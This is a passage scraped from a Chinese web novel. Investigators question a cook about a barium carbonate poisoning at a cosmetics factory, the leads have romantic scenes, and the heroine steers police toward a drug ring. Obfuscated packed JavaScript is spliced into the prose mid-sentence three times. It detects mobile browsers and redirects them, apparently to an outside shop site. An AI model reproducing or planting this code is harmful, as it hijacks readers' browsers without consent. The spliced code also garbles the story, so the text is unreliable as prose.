黄斌打心底里觉得,哪怕他的孩子因此成了杀人犯,他第一反应是会为其顶罪,顶不了就努力攒钱,让他出狱以后就过上富足的日子。 室内陷入了长久的沉默。 只有黄斌的哭声,和门外传来的电动车鸣笛声。 雎安知道,即便这么多年过去,黄斌心里仍然非常难受,非常需要发泄,因为从他的描述里,她能听出他对自己教育方式的悔恨,以及对霸凌者的愤懑。 也不知过了多久,宋教授开口安慰黄斌,以为人父的角度安慰他,说以他的个性、能为孩子勇敢地反抗,还做了这么多实事,真的是个合格的父亲了。 错在霸凌者,甚至......错在宇恒年少冲动,错不在他。 又不知过了多久,室内没了任何声音,雎安倏地抬眸,目光如炬,“阿叔,宇恒是个很好的人,即便不能陪在你身边,也一定希望你过得幸福。“ “朝前看吧!让我们来帮你洗脱冤屈。” 于周浮沉和梁询而言,不论是刑警的身份,还是本身的逻辑,都不会直接假设黄斌无罪,反而会以他有罪为前提、完善证据链,因为他的嫌疑就是最大的。 可当下,他们在现场并不占主导。 因为黄宇恒的缘故,黄斌明显很信任雎安,状态非常放松,不仅有问必答,还主动说起工厂里的一些往事和案件细节,即便说到的是不愉快的往事,他也没有太大的情绪起伏,可能是情绪都在刚刚的哭泣中发泄完了吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586084|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周浮沉和梁询等人见以雎安和宋教授为主导的询问进展相当顺利,很识趣地在一旁边听边录音,偶尔会出声引导和补充询问。 等他们走出黄斌家里的时候,茶都喝空了三壶,已近黄昏。 黄斌最后还想留他们吃吃饭,但被雎安拒绝了。 雎安站在门框处,看了眼已经走到两米开外的人群,把事先准备好的一个丝绒袋递给黄斌。 “阿叔,等我们查完案子,你再打开。” “不行!”黄斌第一反应是拒绝,“这不会是钱吧?我不收。” “不是钱,安心收着吧。”雎安再次嘱咐,“到时间再开哦~” 黄斌双手捧着那红色袋子,掂了掂重量,一脸懵地收下了。 “你和黄斌说了什么?” 等雎安归队,宋挚直接侧身去问。 “没什么。”雎安看他一眼,“你送我回家吧。” 兴许是没想到雎安会在这么多人面前突然这么说,宋挚明显怔了一下。 “你开车了吗?” 宋挚微不可察地皱了皱眉,“开了。” “宋教授,那我……” “没问题。”宋言林比了个ok的手势,“我回学校,正好带思雨回去,和你家也不顺路。阿挚能送你,非常好!我也能放心了。” 闻言,雎安朝宋教授笑了笑。 至于其他人,则用不久前才看着黄斌和霞姐的眼神,看着宋挚和雎安。 分别之际,周浮沉望着宋挚的车尾,迟迟没有推开驾驶座的门,直到梁询敲窗提示,他才坐了进去。 “你怎么了?”梁询问。 周浮沉想了想,看似询问,实则感叹,“人怎么会在短时间内像是换了个人?” “人格分裂?”梁询乱接话。 周浮沉摇头,“在基层,我和师傅碰到过不少有精神疾病的人,不用相处很长时间,最多半小时,就能察觉出不对劲。” “她不一样,她不像。” 房间狭小,没有额外的桌椅,宋挚坐在床上,显得有些局促。 “我以为你找我复盘,结果……” “是复盘啊。”雎安刚从浴室出来,直接打断宋挚,“只不过,不是复盘下午的事,而且今天早上的。” 宋挚被她直接的明示惊到,全身血液好似都在往上涌,不用看,他都知道自己的脸红透了。 活了24年,他何曾被这样大胆地调戏过,又何曾被如此放肆地玩弄过。 “你别太过分了!”宋挚的胸腔随着脱口的话语剧烈起伏,“我不知道你是受了什么刺激。反正,我现在没那个心思。” 雎安沉默了,片刻后,极为沉静地说道:“我只是觉得,光阴易逝,想要什么、想做什么都要趁早。不要等逝去了,错过了,说后悔。” “你知道的,你要我做的那事,很危险。” “以后,我可能会无法正常生活。” 闻言,宋挚的怒气瞬间被冲散,变成了愧疚和不安,转而进一步变成了对自己的谴责。 可他什么都没说。 雎安慢慢地走到他身边,在他身旁坐下。 宋挚感知到床垫忽地往下一沉、又复起的回弹,和……她的气息。 他转头,抬眸,看着她,等她说话,等她直白地说出自己的诉求。 她却不说话,只是平静地看着他,从他的眼睛开始,一路往下。 雎安不知道的是,她的视线太过直接,哪怕时而遮掩地看眼洁白的被褥,可那期待中夹杂着紧张、兴奋中夹杂着害怕的眼神却向触手一般。 宋挚觉得自己像是被她用眼睛触摸着肌肤,视线若即若离,触感也就时现时消,也是那一刻,他突然就不想说什么别的话了。 如果烈日不够灼热难耐、阴雨不够潮湿粘腻,她和他,可以在彼此身上找寻。 86. 惩罚性的回吻 除去黄斌,碳酸钡中毒案的受害者有10人,五死五伤。 死亡名单:邓玉瑛、吴穷、陈秀竹、廖自源,连晴。 巧的是,邓玉瑛是宋挚的母亲,吴穷是吴珺的母亲,陈秀竹是陈思雨的母亲,廖自源是廖学文的父亲。 这四个人,都多少和他们有渊源,只有连晴,他们是完全不认识的。 “你对吴穷有印象吗?”雎安问道。 黄斌颔首道:“印象挺深的,她脾气暴躁,经常雎安发脾气,在工厂里算有名的。” “那她有没有得罪过什么人?有没有做过什么奇怪的事?亦或是,有没有关于她的传闻。” “有。”黄斌眯起了眼睛,“她曾经说自己上厕所被人偷拍过,嚷嚷着要揍那变态一顿。结果是闹大了,也不给她查监控,黎主任还说她脑子有病、让她消停点。” “那据你所知,工厂里有偷拍这种事吗?或者有没有相关的传闻。”周浮沉问道。 黄斌挠了挠头,语气急促,“这我真不知道,我人缘差,一般被偷拍的又是女厕。在警察查到我家里有偷拍照片前,我就是因为吴穷才知道厂里有偷拍这种事,那些照片真不是我拍的!” “那陈秀竹呢?”雎安总余光瞥了眼陈思雨,“她的事,你知道多少?” 黄斌极其肯定地摇头,“不知道,连名字都没听过。” “那廖自源呢?” “认得,他是保安。”黄斌不加思索道:“很圆滑,人缘很好,就是爱贪小便宜,经常顺些抽纸、笔、饮料什么的回家。” “没什么特别的吗?”雎安追问。 黄斌左思右想,还是摇头。 “好吧,那连晴呢?” “不认识,没听过。” “你对邓玉瑛有印象吧?”雎安再次询问。 黄斌用力点头,“当然,她是很好的人,推荐工作给我,在我被克扣工资和恶意辞退的时候,还来工厂帮我声讨,要不是因为我……” 黄斌侧头,看了眼宋挚。 宋挚无甚表情,没有回应他的目光,而是凝视着桌上那份由周浮沉整理的简易事故报告,陷入了深思。 “那你和这五名死者有没有什么纠葛?”梁询若有所思地看着黄斌,双眼眯成了弯月,笑得极具亲和力,“我们都很想帮你,前提是......您得毫无保留。” 闻言,黄斌抬眸,视线如风般扫了过去,“邓女士是我的恩人,廖自源算是我的朋友,我们偶尔会聊聊天,我和其他人都没什么交集。” “是吗?”梁询反问,眼神凌厉了些,“可我问了厂里的人,他们说吴穷经常说你是‘外地佬’,还取笑你穷酸气重,这事你不知道?” “这是她单方面刁难我,我都没理过她。”黄斌回答得很坦荡。 “那你觉得,她针对你的起因是什么?”周浮沉眸中的神色半明半暗,难以辨明。 “她之前让我帮她搬折叠床,我拒绝了,后来她来我那个窗口打菜,让我超餐标给她加肉,我又拒绝了。自那以后,她就开始在背后说我。” “……” 如果吴穷是肚量极小的人,也不是没可能因此记恨黄斌。 周浮沉与梁询互相对视了一眼,未再追问。 受伤名单:赵旭、黎峰、李松柏、于娜、汤尊。 汤尊他们可太熟悉了。 “你认识汤尊吗?”雎安问黄斌。 黄斌点头,“他偶尔才来厂里,不是经常来,大家都知道他脾气很臭。” “哦对了。”黄斌突然想起了什么,“他曾经和廖自源起过矛盾,好像是因为签名记录之类的事,他突然大打出手,廖自源伤得不轻,后来还让子女请律师来向汤尊索赔。我听说,汤尊得赔不少钱,很多人说他脸都绿了。” “那你知不知道他有没有什么不良嗜好?” 雎安的追问引起了周浮沉与梁询的注意,两人齐齐将视线投向她。 黄斌想了想,摇头道:“我对他其实不算了解,知道的多是传闻。” “那赵旭呢?”雎安问。 黄斌的眉梢微微蹙起,“他是厂里的老员工,虽然没啥职务,但有些地位。人瘦瘦的,头顶地中海,笑起来的时候,脸上都是褶子。” “之前我说吴穷怀疑有人偷拍女厕,最怀疑的就是他!他出了名的好色,总是碰碰肩膀、摸摸后背,而且欺软怕硬,一般都是对性子软的、新来的小妹动手动脚。” 赵旭? 周浮沉若有所思,在雎安再次发问前,缓缓补充道:“这个赵旭,他有个儿子叫赵思成,是偷窥女厕的惯犯。” “看来是老爸以身作则,儿子有样学样。”梁询吐槽。 “那……”黄斌惊醒,“出现在我房间里的那些偷拍照会不会就是他栽赃给我的?还有下毒的事,会不会就是他干的?” “有可能。” 周浮沉认可这个可能,但这也只是认为有可能。 “但凡事讲证据,得查。” “我知道。”黄斌笑了笑。 “那黎峰呢?”梁询看了眼资料,意味深长地问道:“我听闻,你和他有挺多矛盾。” 闻言,黄斌没有露出任何慌乱之色,只是垂眸道:“没错,但也说不上矛盾吧。他是厂里的车间主任,我刚进厂的时候,他态度很好,说很喜欢我做的馒头和饭菜,让我在打菜阿姨忙不过来的时候,让我帮帮忙。后来,他就理所当然地让我做更多的活,因为我是在厂附近的宿舍里,他还总是一副笑颜的在我休息的时候让我来帮这帮那。我就反抗过一次,就是出事前不久。” “恨他?”梁询直接就问了。 黄斌仿佛在认真思考这个问题,片刻后答道:“不是恨,我是讨厌他,讨厌他假惺惺的样子。” 他解释得极为真诚,“不过,这种领导很常见,讨厌是讨厌,但也没什么过分的行为。” “他都要无故辞退你了,不给你赔偿,还不过分吗?” 梁询的提问,显然有质疑的意味。 “我问过了,不是黎主任要辞退我,是厂里的决定。” 经过时间的沉淀,黄斌比雎安记忆中的他要沉稳得多。 “厂里和一个预制食品厂合作,食堂的菜都不用外出采购了,仓库里都是冷冻品,馒头更是蒸一蒸就行了,他们觉得我就是做个馒头的、没有用处了,就不要我了。” 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“他看着很稳重,我没听过他和谁有矛盾,也没听过什么传闻。” 宋挚和周浮沉本身就对李松柏颇有了解,确定黄斌和他没什么纠葛后,终于聊到了最后一位中毒者于娜。 “她是生产总监,是那种雷厉风行的人,天天都是浓妆高跟鞋。她老公龚运商是总公司销售部的总监,夫妻挺恩爱,在厂里挺出名的。” “挺有名?”雎安好奇。 “俊男靓女,一对璧人嘛~” 清晨,宋挚洗漱完后,坐在床上等雎安从洗手间里出来。 “所以……”宋挚看了眼穿着超短裤的雎安,像触电般收回了视线,“你这么积极地调查,是为了雨姐?” 雎安没回应,上床后,直接坐到宋挚身旁,一把环住了他的腰。 “我不相信,你一定有别的目的。” 宋挚能明显感知到,雎安是个精力十分有限的人,而她不仅受到工作和家庭的困扰,还要去华州大学做实验,陈思雨与她而言,不过是个刚认识的学姐,顶多就是对她颇为照顾,她不可能因此而如此积极地管别人的闲事。 雎安却好似听不见一样,自顾自地将头埋进宋挚的颈间,贪婪地嗅闻着他身上的气息。 宋挚忍无可忍,“你再这样,我要生气了!” 昨天早上一次、晚上一次,今天宋挚见她起床时的腿都在打颤,如今却还像藤蔓一样缠在他身上。 “那你就气吧。”雎安根本没打算和宋挚解释,还在他怀中仰起了头,“气死你。” 言出必行,雎安以挑衅的姿态,果断地吻了上去。 很突然,很迅速,她已经做好了被推开的准备。 然而,在她吻上去的那刻,她注意到了他微微嘟起的嘴唇,不知怎的,这戳中了她的笑点,让她在吻上去后狂笑不止,吻得十分凌乱。 宋挚不知道她又起了坏心,在被强吻够,他感到气恼,出于教养,他没有猛地推倒她,而是想往后退,躲开不断冒犯他却又不能反抗的她。 然而,他的身体却选择了惩罚性的回吻。 87. 这一刻,定格。 宋挚意识到一件很可怕的事,他嘴上抗拒,他的身体却截然相反。 如今,他非常渴望触碰和交融,哪怕只是□□上。 换作以往,这绝无可能,他理想的爱情,绝对是精神层面占第一位。而她和他,在精神层面上没有过任何深入交流。最深入那次,还是他单方面聊自己的父母。 所以,最后他还是推开了她。 自毕业以后,雎安就再也没来过华州财经大学附近。 此刻,她站在工厂的大门口,看着不远处的学校围栏、以及那在装置里挖出了三具尸体的位置,一时间,思绪陷入了恍惚的状态。 “你的意思是,你让我和你假装是你们公司的采购,来这参观?” 宋挚的声音将雎安拉回了现实。 “对,我们公司是做外贸的,虽然和日化用品无关,但我可以说最近整个公司的业绩都不太好,想拓宽业务,所以就过来了解了解。” 雎安拉着宋挚尽量往边上站,以免被保安听见对话内容。 “而且,我找的人是销售部的唐萍,她是我的初中同学。根据她的朋友圈判断,她是今年年初入职的这里,既知道碳酸钡中毒案的事,又不太可能知道我们公司的戴总和卢家的关系。” “也行。” 既然雎安已经思虑周全,宋挚便选择信任和跟随。 唐萍的样貌变化不大,兴许是娃娃脸的缘故,加上她的发型和初中时的发型很相似,但气质却完全不同,明显带有成熟女人的韵味,以及工作时透出的拘谨。 雎安微笑着倾听她的介绍和推荐,表现出来一副真的是在认真采购的模样。至于宋挚,则站在她身后,仔细打量起工厂内部的布局和走动的人员。 他发现了黎峰的身影,他就是黄斌说的车间主任。 “对了,我之前看华州新闻,发现你们工厂之前发生过一次严重的中毒事件,说是错把碳酸钡粉错当成了发酵粉。”雎安突然开口,宋挚即刻回了神。 “嗯?”唐萍对这突然的话题转折感到意外,但她反应还算快,“对,是有这事。这......怎么了吗?” “碳酸钡粉不是常用于化妆品中吗?怎么会被人拿去下毒,我担心你们厂管控不严,产品质量方面……” 不对,宋挚意识到雎安记错了案情。 “碳酸钡粉怎么会加在化妆品里?” 于娜的笑声从雎安的身后传来,很爽朗,倒没听出嘲笑的意思。 “碳酸钡有毒,可以作为杀鼠药使用,我们厂就是用它来除蛇虫鼠蚁。” 于娜果然如黄斌所言,画着浓妆,摆着高跟,气场十足。 “至于你说的嘛,应该是硫酸钡,硫酸钡常用于化妆品,作为增白剂,还有一定的遮盖力。” 于娜扬唇一笑,拍了拍雎安的肩,“我们厂的原料管控很严格,所以你的担心是不存在的,放心吧。” 说完,于娜快步离开,朝着方才黎峰消失的方向走去。 唐萍先是朝着于娜的背影投以感激的目光,而后继续用尽可能专业的话术来消解雎安的疑虑。 “那你们研究人员的资质如何?其实我们对你们卖得减肥药也很感兴趣,但我听说你们之前做的减肥药效果是很不错,但有不少消费者投诉说会导致肾衰竭。” 雎安苦笑,一副为难的表情,“毕竟我是帮工作做事,该问的都得问,该考虑到的都得考虑到。” 唐萍极为勉强地扯唇一笑,表示理解。 过了十分钟,短暂离开的唐萍带着于娜,再次出现在雎安和宋挚面前。 这回,于娜仔细打量了两人一番,见两人的穿着都正式且有质感、气质也很出众,感觉这两人是有些话语权的小中层。 于是,她耐心地解答,并尽可能规避不利于公司的那面。 雎安和宋挚认真听完,大致听明白了。 意思是他们初期研发的时候,确定出过问题,但绝不至于导致肾衰竭,至于网上的反馈,这和他们心急而过量食用,以及节食减肥有关。而他们现在主推的减肥药非常安全,效果也很好,是经由专业研发团队改进完善后的成品。 而雎安为什么要问这个,是因为陈思雨说,她妈妈陈秀竹原先一直是研究防晒的,后来被调去研究减肥药。出事的时候,她妈妈在职。 因此,陈思雨怀疑减肥药的成分有猫腻,怀疑她妈妈的死与减肥药事件有关。 而雎安则是怀疑整个工厂,整个卢氏集团。 “对了,最近网上的风波对你们工厂有没有什么影响?” 雎安用嘴角勾勒出一个公式化的微笑。 “我们对你们的产品是有好感,但你们之前产品宣传出现的辱女广告和公关部总监家暴妻子的案件新闻都太扎眼了。” “你知道的,产品的受众就是女性,出现这种新闻对海外销售也是有影响的。” 于娜应对得十分从容,无外乎是将辱女广告的责任推到汤尊身上,说是他专断地拍板决定的,再来便是承诺以后不会再出现辱女广告,以及暗喻现在互联网发达、那些新闻很快就没几个人记得了,而他们公司新的代言人是某个当红小花,小花在海外的影响力也相当了得。 雎安很佩服于娜,她虽是生产部总监,却完全能胜任公关部的活。 一个以银白色为主色调的工厂,工人们表情麻木、身着蓝色工服,在工位上机械地重复着同样的动作,耳边都是机器的嗡鸣声。 这里和大多数化妆品厂一样,看着没什么特别。 雎安和宋挚由唐萍送到厂门口,雎安和唐萍还寒暄了好一会儿,直到唐萍说着急进去工作,雎安才笑着结束了对话。 “要不要一起走走?”雎安踮了踮脚,此时在他面前,完全是小女孩的姿态,“我好久没回母校了。” 华州财经是邓玉瑛曾经工作过的地方,雎安猜测宋挚不会拒绝她。而现实,果真如此。 华州财经大学,不论是校内环境还是校外商圈,与六年前都不可同日而语。 校外不再是僻静地、也不再布满黄土泥泞,如今建了一个大型的商场,商场隔壁还有两家连锁酒店,附近的街道更是被小商铺和地毯小吃占满,好不热闹。 宋挚和雎安只粗略看了一眼,便转身走进了学校。 校内的变化也不遑多让,校道两侧竟布满了绿植,不再是光秃秃一片,他们走在林荫树下,即便太阳热烈,也没有觉得很热。还有学校的布局大了很多,规划也趋向合理,图书馆不再是可怜的在行政楼里挪出来的三层,如今有了独属于它的一整栋楼。 “还要刷卡才能进。” 雎安被挡在门外,有些无奈道:“那我们只能在门口躲雨了。” 华州的天气变幻莫测,雎安对此早已习以为常。而且,这次是突降的太阳雨,雨势迅猛,极有可能在雨后见到彩虹,她还挺期待的。 如果能和宋挚一起看到雨后彩虹的话,淋点雨又如何? 哗啦啦的大雨不停歇,即便他们站在屋檐下,身上也会溅到些雨水。 宋挚看着眼前的雨幕,以及像是蒙上了一层雾的远景,脑子不受控地想到了一些画面。他曾经帮母亲送电脑到学校来,走过校外的那几条小道,只是如今大变样,凭借着雨势制造出的朦胧画卷,反倒唤醒了他的回忆。 雎安的手机铃声响起,将他的思绪拉回现实。 “喂?干嘛一直打电话来?” 雎安一接电话的语气就很冲,这和她性格并不相符,不免激起了宋挚的好奇心。 “没有为什么,不想回我就不回。既然你们觉得无所谓,那甲醛你们就多吸点。” 听到这里,宋挚便猜到电话对面是雎安的父母了。 “什么礼貌不礼貌,你们一点都不尊重我,也好意思和我谈礼貌?有空教训我,不如先学学怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607671|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以身作则。别再一直发短信、打电话,我都不回了。” 语毕,雎安直接挂断了电话,将手机调成了飞行模式。 无疑,她的转变,她的决绝让宋挚感到意外。他能感觉到,她变了很多,不止是行事风格,还有行事中展现出的处事心态。 他和她在一起,能让她获得如此强大的内心力量?那他呢?他也能因为她而获得能量吗? 很快,宋挚否定了这些假设。他肯定,人最后都得靠自己。 风浪过后,归于平静。 周围没有了说话声,雨声也在逐渐减弱。 “宋教授有和你说,什么时候进行下一次实验吗?”宋挚问道。 “还没。”雎安静默了好一会儿,才道:“雨停了,我们接着走走吧。” “地上都是积水。”宋挚的话语里,有着他自己都未曾察觉的关切,“很容易打滑摔倒的,我们回去吧。” 雎安却坚决地摇头,“不,我想走走。” 当作散步聊天的地点,雎安觉得华州财经的校园并不算大,粗略走完一圈,太阳仍未下山。 她饿了,但学校食堂还没出餐,便拉着宋挚去校外的美食街转了一圈,两人一起尝试了四五种小吃。 期间,雎安一直很主动地和宋挚搭话,聊得都是些日常琐碎,偶尔还会尝试深入话题。但宋挚始终兴趣缺缺,回答虽然礼貌,却仿佛在他与她之间筑起了高墙。 雎安的情绪变得愈加失落,即便她一直告诉自己,是她自己要搭话的,而眼前的宋挚不是爱她的那个宋挚,但她的大脑还是不受控地将他们此刻的相处与那些回忆作对比。 她感到受伤。 她没有办法否认自己此刻的真实感受。 就如同......她期待的彩虹没有出现,她感到失落。 日暮西沉,雎安靠在车窗的边沿,看着窗外蓝橙色的天空,不发一言。 夕阳很美,呈现出的蓝橙拼色是平常很难见到的限量款,出乎意料,摄人心魂。 宋挚在上车前就注意到了雎安的情绪,他猜测与他有关,但他却什么都没说、什么都没做。此刻,他握着方向盘的却猛地打转,将车开进了附近的公园里。 雎安对他的突然转向没有任何反应,直到车停在了侧边的格子上。 “下去看看?今天的晚霞很特别。” 这是他想让她开心的讯号,虽然有些别扭。 “好~” 收到讯号的雎安抛下宋挚,推开车门,投身到梦幻的世界里,她观察比心拍照的女生们,学着不远处的小女孩,轻轻踩水,嘴里还低哼着歌。 天色愈暗,已经不似她在车上看到的那般明亮,目之所及都被染成了沉静而神秘的蓝紫色,而云层中,有一抹极为梦幻的粉。 抬头,是浪漫唯美的天空幕布。垂眸,有一位擅长临摹的画家,将天空幕布描绘得惟妙惟肖,它的名字叫……未名湖。 想到这,雎安笑了出来,被她自己突如其来的文艺逗笑。 情绪会来,也会离开。 只是,如今的她深刻地意识到了每个当下才是最珍贵的存在,所以在感知到失落在心里消失的那一刻,选择义无反顾地投身到了快乐中。 即便这看起来有些奇怪,显得她喜怒无常、阴晴不定。 “你是不是觉得我很奇怪?” 雎安抿唇一笑,抬眸看向身侧,这才发现宋挚不在她身边。 她茫然地抬头张望,在寻到他身影的那一刻,突然吹起了一阵风。 风好似一双温柔的手,将雎安的头发都挽到了右侧,同时,她的黄白色衣裙轻轻扬起,她的右侧身体曲线展露无遗。 宋挚的视线仿佛被钉死在了屏幕上,透过镜头,他肆无忌惮地观察她,哪怕她已经发现了他。 片刻后,雎安歪头,扬唇一笑,他摁下了快门。 这一刻,定格。 88. 而他,为所欲为。 离警局不到一公里的位置,有一家新开的古风茶馆,雎安检索时特别留意了这家店是否设有私密空间,以及服务和环境是否达标。 至于茶水如何,毕竟这就是个针对年轻人的小茶馆,雎安想周浮沉不会太介意。 “这的环境很不错。”周浮沉从进门时就在留意这家店的装潢,他知道这是雎安根据她猜测的他的喜好而选择的店铺。 “那就好。”雎安回身一笑,先指了指院子里的锦鲤池塘,又指了指内屋墙上的茶壶展示柜,“我觉得你会喜欢这些。” 说他老派? 周浮沉的嘴角微微上扬,没有反驳。 “为什么会突然找我喝茶?” 而且还事先选好了离他工作地方极近的地点,这是摆明了必须要约到他。 “我有事要和你说。”雎安将菜单摆到周浮沉面前,“先点单吧。” 周浮沉的时间并不宽裕,还有很多东西等着他回去处理,但他没有催促,而是顺着雎安点了一壶丹凤牡丹花茶。 “那就一壶丹凤牡丹花,然后......我要一壶三花茶,再来份坚果拼盘。” 雎安点完单,待服务员离开后,便开始直入主题。 “我有个老同学在出事的工厂上班,昨天,我和宋挚假装是公司的采购员,进去参观了一圈。” 闻言,周浮沉双眉紧锁。 他当然知道宋挚对邓玉瑛的事非常上心,但他万万没想到,宋挚的调查动作这么快、这么莽,而且雎安不但不劝阻宋挚,还跟着宋挚一起胡闹。 “呐~这是我根据在工厂的所见所闻、整理出来的笔记。参观的时候,我们还见到了黎峰和于娜,我们的大致对话内容,我也记录在这里了。” 周浮沉没有急着出声质疑,而是拿起笔记本,粗略翻看后,不无讶异地问道:“你还做了事前调查?” 在陈思雨和雎安倾诉后,雎安立即就去检索相关新闻了,除此之外,还有关于辱女广告的内容和反馈,以及汤尊童敏的相关事件细节,甚至更多......多得她没能全都记清楚。 比如,她就在碳酸钡和硫酸钡的区分上被绊了一脚。 “对,我们不是心血来潮、一拍脑门就去的。” 雎安从方才周浮沉的表情里,就读出了他的内心想法。 没错,她来找周浮沉、想要引导周浮沉查案,是因为她还有一个优势。 她的脑中有关于周浮沉的记忆,虽然不是眼前人,但习性喜恶总不会差太远。 “然后,我们昨天驱车离开的时候,半路发现了很美的晚霞,于是就下车去那附近的一个小公园拍拍照、走一走。结果走着走着,我们发现公园里除了有湖,往里走还有一条小河,小河里的鱼都死了,而且河水的气味很难闻。” 雎安仔细回想昨天的场景,她和宋挚在发现成堆的死鱼后,顺着河流慢慢往上看,试图找寻它的源头。 “源头我们看不到,但我们发现那条河流经了工厂宿舍。” 雎安想,当时天色已暗,她和宋挚不久前才从工厂里出来,要是跑到工厂宿舍附近和寻找河流源头,真要是有猫腻,很可能会有危险。 不如让警察查。 “对了,华州有一家张记鸡公煲,很有名的,你知道吧?” 周浮沉若有所思地点了点头。 服务员提着两壶茶来到他们桌前,打断了他们的对话。 待坚果拼盘也上了桌,雎安才接着说道:“我是华州财经2017届的学生,这家店最早是开在华州财经附近的山头上。而第一家分店在南林社区,离我家很近。” 周浮沉眨了眨眼,仿佛在说,“接下来呢?” “这家店的老板叫张风,有一年暑期,他曾把儿子张徐行托管在我们家,我们家也算和他有些交情。” “上周,我去店里吃饭的时候,看到张风很热情地招待卢震南和卢宇年。哦对了,卢震南和卢宇年就是工厂的大老板。于是我就问了一嘴,张徐行话中的意思,是他们和卢家经常有来往。” 周浮沉静静坐着,定定地看着雎安,压迫感油然而生。 “所以,你的意思是?” 雎安感觉自己的神经和肌肉都绷紧了几分,“我总觉得……那工厂很奇怪,不止是中毒案的事奇怪。而张风的第一家店又在那间工厂附近,他们还来往甚密……” “雎安。” “嗯?”雎安没想到周浮沉会出声打断她。 “不要再查了。”周浮沉的表情和语气都非常得严肃,“你提供的线索我收到了,工厂案的事就全部交给我,我会给你们一个交代。” 雎安不知道的是,因为汤尊和龚运商的缘故,重案组早已盯上了安娜维诺这个公司。 不是因为中毒案,而是因为大宗毒品案。 他们在寻找新毒品的制造者和制毒点。 而雎安虽然不知道警察那边已经在重点追踪毒品案,却从周浮沉的态度里,猜到他们有在调查安娜维诺这家公司,而且背后一定是有更重大的事,很可能与毒品有关。 她知道张风就是制毒者,根据装置里获得的信息,猜测制毒点就在工厂附近。她还知道陈高升不止杀害了叶扶英、还参与了贩毒。以及,卢宇年吸毒的事。 她知道的信息远不止于此,可她不可能凭着一张嘴到处说,以此来推翻制毒集团,她需要尽可能自然地引导警察往正确的方向搜查。 而周浮沉,就是她能接触到的最佳切入口。 没错,黄斌虽然帮过她,但毕竟不是现实世界的事,就算是,也不至于让她如此积极地调查。 她真正的目的,是救自己! 已知,她是被沈薇下毒所害。而给沈薇下毒的人不得而知,当然,也有可能是沈薇主动沾染。 反正,有关毒品的一切,都与卢宇年一家和张风有关。 她若想要摆脱毒害的未来,只一味地防备沈薇,就如同隔靴搔痒,危机还潜伏在她周围,危险系数不减。 尤其是卢宇年,他才是真正针对她的人,不论原因是什么。她要想彻底终止他的恶意,唯有让他无法作恶。而他作恶的底气,就是他那无恶不做、会为他兜底的父母。 “好,我相信你。”雎安提起茶壶,为周浮沉和自己倒了杯丹凤牡丹花茶,“但你可以把查案的进度告诉我吗?” “你比我想的还要热心。”周浮沉用食指和中指轻敲桌面三下,笑着问道:“因为阿挚?” 他略过了她的问题。 “你还没回答我的问题。”雎安脸一热,拿起茶杯,呷了口茶,道:“你要是一直默默查案,什么都不说,我、思雨姐、宋教授和宋挚都会忍不住插手的。” “好。”周浮沉笑意更深,“我尽量及时给你们一些反馈。” “那我也回答你的问题。”雎安放下茶杯,“是,但只是一部分原因。其实,黄斌之前曾帮过我,所以我也想帮帮他。” 雎安至今记得,宋挚在医院长廊上,转交给她的那三张皱巴巴的十块钱。 “帮过你什么?”周浮沉随口追问。 雎安笑笑,“没什么。” 兴许觉得这不是什么大事,周浮沉也没纠缠黄斌之前帮过她什么忙,而是利用所剩无几的休息时间,快速喝了三杯茶,吃了些腰果花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621787|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,便着急着要回去工作了。 “麻烦你了,拜拜~” 因为是托人办事的心态,雎安竭尽所能地让自己显得讨巧些。所以,此时送别周浮沉的她,笑得极其温婉,还举起右手左右摇晃,就是......看着很人机。 周浮沉挑了挑眉尾,淡淡道:“拜拜。” 雎安透过纱窗瞧,直到确认周浮沉走开了茶馆,才彻底松懈下来。 什么事可以说,什么事不能说,什么事需要再等等。昨晚,她独自思考了很久,还打了草稿,列举了很多关键点,确保今天和周浮沉的谈话不会露馅。 毕竟,周浮沉的职业是警察,会比大多数人更敏锐。 此刻,雎安靠坐在椅背上,看着池中的锦鲤游动,听着茶馆内流淌的悠扬琴音,鼻端萦绕着花茶与坚果的香气。 不知怎的,身处在静谧美好的环境里,反倒让她突然有了流泪的冲动。 这次,她没有像从前一样压抑情绪,而是选择让眼泪滑落,也不再苛责自己为何会突然流泪,只是一边默默地为自己拭去眼泪,一边放空思绪。 不知过了多久,直到被不远处的嘈杂嬉闹声唤醒,她蓦地意识到了自己流泪的原因。 活了24年,她竟然少有这样慢下来、体验生活小美好的时刻。 她总是在忙碌、在追逐、在焦虑,有时候她不想逼自己了,却又被父母和社会逼着必须前进、必须走进框架里。 她想,她要怎么活,该由她来定义了。 宋挚难得回了趟宿舍,黎海诺有些意外,发现他正沉着脸思考,也就识趣地不与他搭话。 “我有个问题想请教你。”宋挚冷不丁地出了声。 黎海诺微微一愣,“你问呗。” 宋挚的嘴唇颤动了几下,却没有发出声音,明显是在纠结。 